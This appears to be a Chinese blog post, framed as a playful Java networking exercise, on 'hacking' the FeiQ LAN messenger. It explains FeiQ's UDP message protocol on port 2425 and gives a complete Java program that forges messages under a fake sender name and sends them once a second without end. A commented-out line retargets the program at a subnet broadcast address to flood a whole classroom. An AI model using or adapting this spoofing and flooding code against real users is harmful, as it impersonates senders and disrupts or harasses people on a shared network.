有趣的案例:攻击别人的软件
做一回黑客,攻击别人的电脑的飞秋
飞秋运行时,会监听UDP和TCP的2425端口,我们可以本地建立UDP连接与飞秋通讯例如
1:100:username:hostname:32:content
以上是要发送的的协议字符串,使用GBK编码。
1表示版本号,100标识包号,username表示用户名,hostname表示主机名,32表示发送消息,后面的表示要发送的消息内容。
【代码实践】
public class HackFeiQ {
public static void main(String[] args) throws IOException, InterruptedException {
//飞秋的协议:1:100:username:hostname:32:content
//飞秋的端口:2425
//1.DatagramPacket
byte[] feiQMsg = "1:100:张无忌:不告诉你:32:五大门派要围攻光明顶,快跑!!".getBytes("gbk");
DatagramPacket dp = new DatagramPacket(
feiQMsg,//飞秋的协议数据
feiQMsg.length,//发送数据的长度
InetAddress.getLocalHost(),//发送给对方的IP地址
//InetAddress.getByName("192.168.37.255"),//炸全班
2425);//对方电脑的端口号
//2.DatagramSocket
DatagramSocket ds = new DatagramSocket();
while (true){
ds.send(dp);
Thread.sleep(1000);//一秒发送一次
}
}
}
地址xxx.xxx.xxx.255禁用
唯有努力,人生没有白走的路,每一步都算数

浙公网安备 33010602011771号